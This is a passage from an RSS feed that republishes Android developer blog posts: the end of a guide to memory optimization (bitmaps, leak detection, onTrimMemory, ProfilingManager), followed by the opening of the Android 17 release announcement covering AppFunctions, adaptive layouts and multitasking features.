    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s2048/pic4-android-studio-leaks.png">
        <img border="0" data-original-height="975" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s16000/pic4-android-studio-leaks.png">
    </a>
</div>
<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
